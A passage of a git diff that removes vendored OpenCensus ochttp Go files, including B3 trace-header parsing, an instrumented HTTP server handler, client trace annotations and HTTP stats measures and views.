return trace.TraceID{}, false - } - var traceID trace.TraceID - if len(b) <= 8 { - // The lower 64-bits. - start := 8 + (8 - len(b)) - copy(traceID[start:], b) - } else { - start := 16 - len(b) - copy(traceID[start:], b) - } - - return traceID, true -} - -// ParseSpanID parses the value of the X-B3-SpanId or X-B3-ParentSpanId headers. -func ParseSpanID(sid string) (spanID trace.SpanID, ok bool) { - if sid == "" { - return trace.SpanID{}, false - } - b, err := hex.DecodeString(sid) - if err != nil { - return trace.SpanID{}, false - } - start := 8 - len(b) - copy(spanID[start:], b) - return spanID, true -} - -// ParseSampled parses the value of the X-B3-Sampled header. -func ParseSampled(sampled string) (trace.TraceOptions, bool) { - switch sampled { - case "true", "1": - return trace.TraceOptions(1), true - default: - return trace.TraceOptions(0), false - } -} - -// SpanContextToRequest modifies the given request to include B3 headers. -func (f *HTTPFormat) SpanContextToRequest(sc trace.SpanContext, req *http.Request) { - req.Header.Set(TraceIDHeader, hex.EncodeToString(sc.TraceID[:])) - req.Header.Set(SpanIDHeader, hex.EncodeToString(sc.SpanID[:])) - - var sampled string - if sc.IsSampled() { - sampled = "1" - } else { - sampled = "0" - } - req.Header.Set(SampledHeader, sampled) -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/route.go b/vendor/go.opencensus.io/plugin/ochttp/route.go deleted file mode 100644 index 5e6a343076..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/route.go +++ /dev/null @@ -1,61 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "context" - "net/http" - - "go.opencensus.io/tag" -) - -// SetRoute sets the http_server_route tag to the given value. -// It's useful when an HTTP framework does not support the http.Handler interface -// and using WithRouteTag is not an option, but provides a way to hook into the request flow. -func SetRoute(ctx context.Context, route string) { - if a, ok := ctx.Value(addedTagsKey{}).(*addedTags); ok { - a.t = append(a.t, tag.Upsert(KeyServerRoute, route)) - } -} - -// WithRouteTag returns an http.Handler that records stats with the -// http_server_route tag set to the given value. -func WithRouteTag(handler http.Handler, route string) http.Handler { - return taggedHandlerFunc(func(w http.ResponseWriter, r *http.Request) []tag.Mutator { - addRoute := []tag.Mutator{tag.Upsert(KeyServerRoute, route)} - ctx, _ := tag.New(r.Context(), addRoute...) - r = r.WithContext(ctx) - handler.ServeHTTP(w, r) - return addRoute - }) -} - -// taggedHandlerFunc is a http.Handler that returns tags describing the -// processing of the request. These tags will be recorded along with the -// measures in this package at the end of the request. -type taggedHandlerFunc func(w http.ResponseWriter, r *http.Request) []tag.Mutator - -func (h taggedHandlerFunc) ServeHTTP(w http.ResponseWriter, r *http.Request) { - tags := h(w, r) - if a, ok := r.Context().Value(addedTagsKey{}).(*addedTags); ok { - a.t = append(a.t, tags...) - } -} - -type addedTagsKey struct{} - -type addedTags struct { - t []tag.Mutator -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/server.go b/vendor/go.opencensus.io/plugin/ochttp/server.go deleted file mode 100644 index 4f6404fa79..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/server.go +++ /dev/null @@ -1,449 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "context" - "io" - "net/http" - "strconv" - "sync" - "time" - - "go.opencensus.io/stats" - "go.opencensus.io/tag" - "go.opencensus.io/trace" - "go.opencensus.io/trace/propagation" -) - -// Handler is an http.Handler wrapper to instrument your HTTP server with -// OpenCensus. It supports both stats and tracing. -// -// Tracing -// -// This handler is aware of the incoming request's span, reading it from request -// headers as configured using the Propagation field. -// The extracted span can be accessed from the incoming request's -// context. -// -// span := trace.FromContext(r.Context()) -// -// The server span will be automatically ended at the end of ServeHTTP. -type Handler struct { - // Propagation defines how traces are propagated. If unspecified, - // B3 propagation will be used. - Propagation propagation.HTTPFormat - - // Handler is the handler used to handle the incoming request. - Handler http.Handler - - // StartOptions are applied to the span started by this Handler around each - // request. - // - // StartOptions.SpanKind will always be set to trace.SpanKindServer - // for spans started by this transport. - StartOptions trace.StartOptions - - // GetStartOptions allows to set start options per request. If set, - // StartOptions is going to be ignored. - GetStartOptions func(*http.Request) trace.StartOptions - - // IsPublicEndpoint should be set to true for publicly accessible HTTP(S) - // servers. If true, any trace metadata set on the incoming request will - // be added as a linked trace instead of being added as a parent of the - // current trace. - IsPublicEndpoint bool - - // FormatSpanName holds the function to use for generating the span name - // from the information found in the incoming HTTP Request. By default the - // name equals the URL Path. - FormatSpanName func(*http.Request) string -} - -func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - var tags addedTags - r, traceEnd := h.startTrace(w, r) - defer traceEnd() - w, statsEnd := h.startStats(w, r) - defer statsEnd(&tags) - handler := h.Handler - if handler == nil { - handler = http.DefaultServeMux - } - r = r.WithContext(context.WithValue(r.Context(), addedTagsKey{}, &tags)) - handler.ServeHTTP(w, r) -} - -func (h *Handler) startTrace(w http.ResponseWriter, r *http.Request) (*http.Request, func()) { - if isHealthEndpoint(r.URL.Path) { - return r, func() {} - } - var name string - if h.FormatSpanName == nil { - name = spanNameFromURL(r) - } else { - name = h.FormatSpanName(r) - } - ctx := r.Context() - - startOpts := h.StartOptions - if h.GetStartOptions != nil { - startOpts = h.GetStartOptions(r) - } - - var span *trace.Span - sc, ok := h.extractSpanContext(r) - if ok && !h.IsPublicEndpoint { - ctx, span = trace.StartSpanWithRemoteParent(ctx, name, sc, - trace.WithSampler(startOpts.Sampler), - trace.WithSpanKind(trace.SpanKindServer)) - } else { - ctx, span = trace.StartSpan(ctx, name, - trace.WithSampler(startOpts.Sampler), - trace.WithSpanKind(trace.SpanKindServer), - ) - if ok { - span.AddLink(trace.Link{ - TraceID: sc.TraceID, - SpanID: sc.SpanID, - Type: trace.LinkTypeParent, - Attributes: nil, - }) - } - } - span.AddAttributes(requestAttrs(r)...) - if r.Body == nil { - // TODO: Handle cases where ContentLength is not set. - } else if r.ContentLength > 0 { - span.AddMessageReceiveEvent(0, /* TODO: messageID */ - int64(r.ContentLength), -1) - } - return r.WithContext(ctx), span.End -} - -func (h *Handler) extractSpanContext(r *http.Request) (trace.SpanContext, bool) { - if h.Propagation == nil { - return defaultFormat.SpanContextFromRequest(r) - } - return h.Propagation.SpanContextFromRequest(r) -} - -func (h *Handler) startStats(w http.ResponseWriter, r *http.Request) (http.ResponseWriter, func(tags *addedTags)) { - ctx, _ := tag.New(r.Context(), - tag.Upsert(Host, r.Host), - tag.Upsert(Path, r.URL.Path), - tag.Upsert(Method, r.Method)) - track := &trackingResponseWriter{ - start: time.Now(), - ctx: ctx, - writer: w, - } - if r.Body == nil { - // TODO: Handle cases where ContentLength is not set. - track.reqSize = -1 - } else if r.ContentLength > 0 { - track.reqSize = r.ContentLength - } - stats.Record(ctx, ServerRequestCount.M(1)) - return track.wrappedResponseWriter(), track.end -} - -type trackingResponseWriter struct { - ctx context.Context - reqSize int64 - respSize int64 - start time.Time - statusCode int - statusLine string - endOnce sync.Once - writer http.ResponseWriter -} - -// Compile time assertion for ResponseWriter interface -var _ http.ResponseWriter = (*trackingResponseWriter)(nil) - -var logTagsErrorOnce sync.Once - -func (t *trackingResponseWriter) end(tags *addedTags) { - t.endOnce.Do(func() { - if t.statusCode == 0 { - t.statusCode = 200 - } - - span := trace.FromContext(t.ctx) - span.SetStatus(TraceStatus(t.statusCode, t.statusLine)) - span.AddAttributes(trace.Int64Attribute(StatusCodeAttribute, int64(t.statusCode))) - - m := []stats.Measurement{ - ServerLatency.M(float64(time.Since(t.start)) / float64(time.Millisecond)), - ServerResponseBytes.M(t.respSize), - } - if t.reqSize >= 0 { - m = append(m, ServerRequestBytes.M(t.reqSize)) - } - allTags := make([]tag.Mutator, len(tags.t)+1) - allTags[0] = tag.Upsert(StatusCode, strconv.Itoa(t.statusCode)) - copy(allTags[1:], tags.t) - stats.RecordWithTags(t.ctx, allTags, m...) - }) -} - -func (t *trackingResponseWriter) Header() http.Header { - return t.writer.Header() -} - -func (t *trackingResponseWriter) Write(data []byte) (int, error) { - n, err := t.writer.Write(data) - t.respSize += int64(n) - // Add message event for request bytes sent. - span := trace.FromContext(t.ctx) - span.AddMessageSendEvent(0 /* TODO: messageID */, int64(n), -1) - return n, err -} - -func (t *trackingResponseWriter) WriteHeader(statusCode int) { - t.writer.WriteHeader(statusCode) - t.statusCode = statusCode - t.statusLine = http.StatusText(t.statusCode) -} - -// wrappedResponseWriter returns a wrapped version of the original -// ResponseWriter and only implements the same combination of additional -// interfaces as the original. -// This implementation is based on https://github.com/felixge/httpsnoop. -func (t *trackingResponseWriter) wrappedResponseWriter() http.ResponseWriter { - var ( - hj, i0 = t.writer.(http.Hijacker) - cn, i1 = t.writer.(http.CloseNotifier) - pu, i2 = t.writer.(http.Pusher) - fl, i3 = t.writer.(http.Flusher) - rf, i4 = t.writer.(io.ReaderFrom) - ) - - switch { - case !i0 && !i1 && !i2 && !i3 && !i4: - return struct { - http.ResponseWriter - }{t} - case !i0 && !i1 && !i2 && !i3 && i4: - return struct { - http.ResponseWriter - io.ReaderFrom - }{t, rf} - case !i0 && !i1 && !i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Flusher - }{t, fl} - case !i0 && !i1 && !i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Flusher - io.ReaderFrom - }{t, fl, rf} - case !i0 && !i1 && i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.Pusher - }{t, pu} - case !i0 && !i1 && i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.Pusher - io.ReaderFrom - }{t, pu, rf} - case !i0 && !i1 && i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Pusher - http.Flusher - }{t, pu, fl} - case !i0 && !i1 && i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Pusher - http.Flusher - io.ReaderFrom - }{t, pu, fl, rf} - case !i0 && i1 && !i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.CloseNotifier - }{t, cn} - case !i0 && i1 && !i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.CloseNotifier - io.ReaderFrom - }{t, cn, rf} - case !i0 && i1 && !i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Flusher - }{t, cn, fl} - case !i0 && i1 && !i2 && i3 && i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Flusher - io.ReaderFrom - }{t, cn, fl, rf} - case !i0 && i1 && i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Pusher - }{t, cn, pu} - case !i0 && i1 && i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Pusher - io.ReaderFrom - }{t, cn, pu, rf} - case !i0 && i1 && i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Pusher - http.Flusher - }{t, cn, pu, fl} - case !i0 && i1 && i2 && i3 && i4: - return struct { - http.ResponseWriter - http.CloseNotifier - http.Pusher - http.Flusher - io.ReaderFrom - }{t, cn, pu, fl, rf} - case i0 && !i1 && !i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - }{t, hj} - case i0 && !i1 && !i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - io.ReaderFrom - }{t, hj, rf} - case i0 && !i1 && !i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Flusher - }{t, hj, fl} - case i0 && !i1 && !i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Flusher - io.ReaderFrom - }{t, hj, fl, rf} - case i0 && !i1 && i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Pusher - }{t, hj, pu} - case i0 && !i1 && i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Pusher - io.ReaderFrom - }{t, hj, pu, rf} - case i0 && !i1 && i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Pusher - http.Flusher - }{t, hj, pu, fl} - case i0 && !i1 && i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.Pusher - http.Flusher - io.ReaderFrom - }{t, hj, pu, fl, rf} - case i0 && i1 && !i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - }{t, hj, cn} - case i0 && i1 && !i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - io.ReaderFrom - }{t, hj, cn, rf} - case i0 && i1 && !i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Flusher - }{t, hj, cn, fl} - case i0 && i1 && !i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Flusher - io.ReaderFrom - }{t, hj, cn, fl, rf} - case i0 && i1 && i2 && !i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Pusher - }{t, hj, cn, pu} - case i0 && i1 && i2 && !i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Pusher - io.ReaderFrom - }{t, hj, cn, pu, rf} - case i0 && i1 && i2 && i3 && !i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Pusher - http.Flusher - }{t, hj, cn, pu, fl} - case i0 && i1 && i2 && i3 && i4: - return struct { - http.ResponseWriter - http.Hijacker - http.CloseNotifier - http.Pusher - http.Flusher - io.ReaderFrom - }{t, hj, cn, pu, fl, rf} - default: - return struct { - http.ResponseWriter - }{t} - } -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/span_annotating_client_trace.go b/vendor/go.opencensus.io/plugin/ochttp/span_annotating_client_trace.go deleted file mode 100644 index 05c6c56cc7..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/span_annotating_client_trace.go +++ /dev/null @@ -1,169 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "crypto/tls" - "net/http" - "net/http/httptrace" - "strings" - - "go.opencensus.io/trace" -) - -type spanAnnotator struct { - sp *trace.Span -} - -// TODO: Remove NewSpanAnnotator at the next release. - -// NewSpanAnnotator returns a httptrace.ClientTrace which annotates -// all emitted httptrace events on the provided Span. -// Deprecated: Use NewSpanAnnotatingClientTrace instead -func NewSpanAnnotator(r *http.Request, s *trace.Span) *httptrace.ClientTrace { - return NewSpanAnnotatingClientTrace(r, s) -} - -// NewSpanAnnotatingClientTrace returns a httptrace.ClientTrace which annotates -// all emitted httptrace events on the provided Span. -func NewSpanAnnotatingClientTrace(_ *http.Request, s *trace.Span) *httptrace.ClientTrace { - sa := spanAnnotator{sp: s} - - return &httptrace.ClientTrace{ - GetConn: sa.getConn, - GotConn: sa.gotConn, - PutIdleConn: sa.putIdleConn, - GotFirstResponseByte: sa.gotFirstResponseByte, - Got100Continue: sa.got100Continue, - DNSStart: sa.dnsStart, - DNSDone: sa.dnsDone, - ConnectStart: sa.connectStart, - ConnectDone: sa.connectDone, - TLSHandshakeStart: sa.tlsHandshakeStart, - TLSHandshakeDone: sa.tlsHandshakeDone, - WroteHeaders: sa.wroteHeaders, - Wait100Continue: sa.wait100Continue, - WroteRequest: sa.wroteRequest, - } -} - -func (s spanAnnotator) getConn(hostPort string) { - attrs := []trace.Attribute{ - trace.StringAttribute("httptrace.get_connection.host_port", hostPort), - } - s.sp.Annotate(attrs, "GetConn") -} - -func (s spanAnnotator) gotConn(info httptrace.GotConnInfo) { - attrs := []trace.Attribute{ - trace.BoolAttribute("httptrace.got_connection.reused", info.Reused), - trace.BoolAttribute("httptrace.got_connection.was_idle", info.WasIdle), - } - if info.WasIdle { - attrs = append(attrs, - trace.StringAttribute("httptrace.got_connection.idle_time", info.IdleTime.String())) - } - s.sp.Annotate(attrs, "GotConn") -} - -// PutIdleConn implements a httptrace.ClientTrace hook -func (s spanAnnotator) putIdleConn(err error) { - var attrs []trace.Attribute - if err != nil { - attrs = append(attrs, - trace.StringAttribute("httptrace.put_idle_connection.error", err.Error())) - } - s.sp.Annotate(attrs, "PutIdleConn") -} - -func (s spanAnnotator) gotFirstResponseByte() { - s.sp.Annotate(nil, "GotFirstResponseByte") -} - -func (s spanAnnotator) got100Continue() { - s.sp.Annotate(nil, "Got100Continue") -} - -func (s spanAnnotator) dnsStart(info httptrace.DNSStartInfo) { - attrs := []trace.Attribute{ - trace.StringAttribute("httptrace.dns_start.host", info.Host), - } - s.sp.Annotate(attrs, "DNSStart") -} - -func (s spanAnnotator) dnsDone(info httptrace.DNSDoneInfo) { - var addrs []string - for _, addr := range info.Addrs { - addrs = append(addrs, addr.String()) - } - attrs := []trace.Attribute{ - trace.StringAttribute("httptrace.dns_done.addrs", strings.Join(addrs, " , ")), - } - if info.Err != nil { - attrs = append(attrs, - trace.StringAttribute("httptrace.dns_done.error", info.Err.Error())) - } - s.sp.Annotate(attrs, "DNSDone") -} - -func (s spanAnnotator) connectStart(network, addr string) { - attrs := []trace.Attribute{ - trace.StringAttribute("httptrace.connect_start.network", network), - trace.StringAttribute("httptrace.connect_start.addr", addr), - } - s.sp.Annotate(attrs, "ConnectStart") -} - -func (s spanAnnotator) connectDone(network, addr string, err error) { - attrs := []trace.Attribute{ - trace.StringAttribute("httptrace.connect_done.network", network), - trace.StringAttribute("httptrace.connect_done.addr", addr), - } - if err != nil { - attrs = append(attrs, - trace.StringAttribute("httptrace.connect_done.error", err.Error())) - } - s.sp.Annotate(attrs, "ConnectDone") -} - -func (s spanAnnotator) tlsHandshakeStart() { - s.sp.Annotate(nil, "TLSHandshakeStart") -} - -func (s spanAnnotator) tlsHandshakeDone(_ tls.ConnectionState, err error) { - var attrs []trace.Attribute - if err != nil { - attrs = append(attrs, - trace.StringAttribute("httptrace.tls_handshake_done.error", err.Error())) - } - s.sp.Annotate(attrs, "TLSHandshakeDone") -} - -func (s spanAnnotator) wroteHeaders() { - s.sp.Annotate(nil, "WroteHeaders") -} - -func (s spanAnnotator) wait100Continue() { - s.sp.Annotate(nil, "Wait100Continue") -} - -func (s spanAnnotator) wroteRequest(info httptrace.WroteRequestInfo) { - var attrs []trace.Attribute - if info.Err != nil { - attrs = append(attrs, - trace.StringAttribute("httptrace.wrote_request.error", info.Err.Error())) - } - s.sp.Annotate(attrs, "WroteRequest") -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/stats.go b/vendor/go.opencensus.io/plugin/ochttp/stats.go deleted file mode 100644 index 63bbcda5e3..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/stats.go +++ /dev/null @@ -1,292 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "go.opencensus.io/stats" - "go.opencensus.io/stats/view" - "go.opencensus.io/tag" -) - -// Deprecated: client HTTP measures. -var ( - // Deprecated: Use a Count aggregation over one of the other client measures to achieve the same effect. - ClientRequestCount = stats.Int64( - "opencensus.io/http/client/request_count", - "Number of HTTP requests started", - stats.UnitDimensionless) - // Deprecated: Use ClientSentBytes. - ClientRequestBytes = stats.Int64( - "opencensus.io/http/client/request_bytes", - "HTTP request body size if set as ContentLength (uncompressed)", - stats.UnitBytes) - // Deprecated: Use ClientReceivedBytes. - ClientResponseBytes = stats.Int64( - "opencensus.io/http/client/response_bytes", - "HTTP response body size (uncompressed)", - stats.UnitBytes) - // Deprecated: Use ClientRoundtripLatency. - ClientLatency = stats.Float64( - "opencensus.io/http/client/latency", - "End-to-end latency", - stats.UnitMilliseconds) -) - -// The following client HTTP measures are supported for use in custom views. -var ( - ClientSentBytes = stats.Int64( - "opencensus.io/http/client/sent_bytes", - "Total bytes sent in request body (not including headers)", - stats.UnitBytes, - ) - ClientReceivedBytes = stats.Int64( - "opencensus.io/http/client/received_bytes", - "Total bytes received in response bodies (not including headers but including error responses with bodies)", - stats.UnitBytes, - ) - ClientRoundtripLatency = stats.Float64( - "opencensus.io/http/client/roundtrip_latency", - "Time between first byte of request headers sent to last byte of response received, or terminal error", - stats.UnitMilliseconds, - ) -) - -// The following server HTTP measures are supported for use in custom views: -var ( - ServerRequestCount = stats.Int64( - "opencensus.io/http/server/request_count", - "Number of HTTP requests started", - stats.UnitDimensionless) - ServerRequestBytes = stats.Int64( - "opencensus.io/http/server/request_bytes", - "HTTP request body size if set as ContentLength (uncompressed)", - stats.UnitBytes) - ServerResponseBytes = stats.Int64( - "opencensus.io/http/server/response_bytes", - "HTTP response body size (uncompressed)", - stats.UnitBytes) - ServerLatency = stats.Float64( - "opencensus.io/http/server/latency", - "End-to-end latency", - stats.UnitMilliseconds) -) - -// The following tags are applied to stats recorded by this package. Host, Path -// and Method are applied to all measures. StatusCode is not applied to -// ClientRequestCount or ServerRequestCount, since it is recorded before the status is known. -var ( - // Host is the value of the HTTP Host header. - // - // The value of this tag can be controlled by the HTTP client, so you need - // to watch out for potentially generating high-cardinality labels in your - // metrics backend if you use this tag in views. - Host, _ = tag.NewKey("http.host") - - // StatusCode is the numeric HTTP response status code, - // or "error" if a transport error occurred and no status code was read. - StatusCode, _ = tag.NewKey("http.status") - - // Path is the URL path (not including query string) in the request. - // - // The value of this tag can be controlled by the HTTP client, so you need - // to watch out for potentially generating high-cardinality labels in your - // metrics backend if you use this tag in views. - Path, _ = tag.NewKey("http.path") - - // Method is the HTTP method of the request, capitalized (GET, POST, etc.). - Method, _ = tag.NewKey("http.method") - - // KeyServerRoute is a low cardinality string representing the logical - // handler of the request. This is usually the pattern registered on the a - // ServeMux (or similar string). - KeyServerRoute, _ = tag.NewKey("http_server_route") -) - -// Client tag keys. -var ( - // KeyClientMethod is the HTTP method, capitalized (i.e. GET, POST, PUT, DELETE, etc.). - KeyClientMethod, _ = tag.NewKey("http_client_method") - // KeyClientPath is the URL path (not including query string). - KeyClientPath, _ = tag.NewKey("http_client_path") - // KeyClientStatus is the HTTP status code as an integer (e.g. 200, 404, 500.), or "error" if no response status line was received. - KeyClientStatus, _ = tag.NewKey("http_client_status") - // KeyClientHost is the value of the request Host header. - KeyClientHost, _ = tag.NewKey("http_client_host") -) - -// Default distributions used by views in this package. -var ( - DefaultSizeDistribution = view.Distribution(1024, 2048, 4096, 16384, 65536, 262144, 1048576, 4194304, 16777216, 67108864, 268435456, 1073741824, 4294967296) - DefaultLatencyDistribution = view.Distribution(1, 2, 3, 4, 5, 6, 8, 10, 13, 16, 20, 25, 30, 40, 50, 65, 80, 100, 130, 160, 200, 250, 300, 400, 500, 650, 800, 1000, 2000, 5000, 10000, 20000, 50000, 100000) -) - -// Package ochttp provides some convenience views for client measures. -// You still need to register these views for data to actually be collected. -var ( - ClientSentBytesDistribution = &view.View{ - Name: "opencensus.io/http/client/sent_bytes", - Measure: ClientSentBytes, - Aggregation: DefaultSizeDistribution, - Description: "Total bytes sent in request body (not including headers), by HTTP method and response status", - TagKeys: []tag.Key{KeyClientMethod, KeyClientStatus}, - } - - ClientReceivedBytesDistribution = &view.View{ - Name: "opencensus.io/http/client/received_bytes", - Measure: ClientReceivedBytes, - Aggregation: DefaultSizeDistribution, - Description: "Total bytes received in response bodies (not including headers but including error responses with bodies), by HTTP method and response status", - TagKeys: []tag.Key{KeyClientMethod, KeyClientStatus}, - } - - ClientRoundtripLatencyDistribution = &view.View{ - Name: "opencensus.io/http/client/roundtrip_latency", - Measure: ClientRoundtripLatency, - Aggregation: DefaultLatencyDistribution, - Description: "End-to-end latency, by HTTP method and response status", - TagKeys: []tag.Key{KeyClientMethod, KeyClientStatus}, - } - - ClientCompletedCount = &view.View{ - Name: "opencensus.io/http/client/completed_count", - Measure: ClientRoundtripLatency, - Aggregation: view.Count(), - Description: "Count of completed requests, by HTTP method and response status", - TagKeys: []tag.Key{KeyClientMethod, KeyClientStatus}, - } -) - -// Deprecated: Old client Views. -var ( - // Deprecated: No direct replacement, but see ClientCompletedCount. - ClientRequestCountView = &view.View{ - Name: "opencensus.io/http/client/request_count", - Description: "Count of HTTP requests started", - Measure: ClientRequestCount, - Aggregation: view.Count(), - } - - // Deprecated: Use ClientSentBytesDistribution. - ClientRequestBytesView = &view.View{ - Name: "opencensus.io/http/client/request_bytes", - Description: "Size distribution of HTTP request body", - Measure: ClientSentBytes, - Aggregation: DefaultSizeDistribution, - } - - // Deprecated: Use ClientReceivedBytesDistribution instead. - ClientResponseBytesView = &view.View{ - Name: "opencensus.io/http/client/response_bytes", - Description: "Size distribution of HTTP response body", - Measure: ClientReceivedBytes, - Aggregation: DefaultSizeDistribution, - } - - // Deprecated: Use ClientRoundtripLatencyDistribution instead. - ClientLatencyView = &view.View{ - Name: "opencensus.io/http/client/latency", - Description: "Latency distribution of HTTP requests", - Measure: ClientRoundtripLatency, - Aggregation: DefaultLatencyDistribution, - } - - // Deprecated: Use ClientCompletedCount instead. - ClientRequestCountByMethod = &view.View{ - Name: "opencensus.io/http/client/request_count_by_method", - Description: "Client request count by HTTP method", - TagKeys: []tag.Key{Method}, - Measure: ClientSentBytes, - Aggregation: view.Count(), - } - - // Deprecated: Use ClientCompletedCount instead. - ClientResponseCountByStatusCode = &view.View{ - Name: "opencensus.io/http/client/response_count_by_status_code", - Description: "Client response count by status code", - TagKeys: []tag.Key{StatusCode}, - Measure: ClientRoundtripLatency, - Aggregation: view.Count(), - } -) - -// Package ochttp provides some convenience views for server measures. -// You still need to register these views for data to actually be collected. -var ( - ServerRequestCountView = &view.View{ - Name: "opencensus.io/http/server/request_count", - Description: "Count of HTTP requests started", - Measure: ServerRequestCount, - Aggregation: view.Count(), - } - - ServerRequestBytesView = &view.View{ - Name: "opencensus.io/http/server/request_bytes", - Description: "Size distribution of HTTP request body", - Measure: ServerRequestBytes, - Aggregation: DefaultSizeDistribution, - } - - ServerResponseBytesView = &view.View{ - Name: "opencensus.io/http/server/response_bytes", - Description: "Size distribution of HTTP response body", - Measure: ServerResponseBytes, - Aggregation: DefaultSizeDistribution, - } - - ServerLatencyView = &view.View{ - Name: "opencensus.io/http/server/latency", - Description: "Latency distribution of HTTP requests", - Measure: ServerLatency, - Aggregation: DefaultLatencyDistribution, - } - - ServerRequestCountByMethod = &view.View{ - Name: "opencensus.io/http/server/request_count_by_method", - Description: "Server request count by HTTP method", - TagKeys: []tag.Key{Method}, - Measure: ServerRequestCount, - Aggregation: view.Count(), - } - - ServerResponseCountByStatusCode = &view.View{ - Name: "opencensus.io/http/server/response_count_by_status_code", - Description: "Server response count by status code", - TagKeys: []tag.Key{StatusCode}, - Measure: ServerLatency, - Aggregation: view.Count(), - } -) - -// DefaultClientViews are the default client views provided by this package. -// Deprecated: No replacement. Register the views you would like individually. -var DefaultClientViews = []*view.View{ - ClientRequestCountView, - ClientRequestBytesView, - ClientResponseBytesView, - ClientLatencyView, - ClientRequestCountByMethod, - ClientResponseCountByStatusCode, -} - -// DefaultServerViews are the default server views provided by this package. -// Deprecated: No replacement. Register the views you would like individually. -var DefaultServerViews = []*view.View{ - ServerRequestCountView, - ServerRequestBytesView, - ServerResponseBytesView, - ServerLatencyView, - ServerRequestCountByMethod, - ServerResponseCountByStatusCode, -} diff --git a/vendor/go.opencensus.io/plugin/ochttp/trace.go b/vendor/go.opencensus.io/plugin/ochttp/trace.go deleted file mode 100644 index c23b97fb1f..0000000000 --- a/vendor/go.opencensus.io/plugin/ochttp/trace.go +++ /dev/null @@ -1,239 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package ochttp - -import ( - "io" - "net/http" - "net/http/httptrace" - - "go.opencensus.io/plugin/ochttp/propagation/b3" - "go.opencensus.io/trace" - "go.opencensus.io/trace/propagation" -) - -// TODO(jbd): Add godoc examples. - -var defaultFormat propagation.HTTPFormat = &b3.HTTPFormat{} - -// Attributes recorded on the span for the requests. -// Only trace exporters will need them. -const ( - HostAttribute = "http.host" - MethodAttribute = "http.method" - PathAttribute = "http.path" - URLAttribute = "http.url" - UserAgentAttribute = "http.user_agent" - StatusCodeAttribute = "http.status_code" -) - -type traceTransport struct { - base http.RoundTripper - startOptions 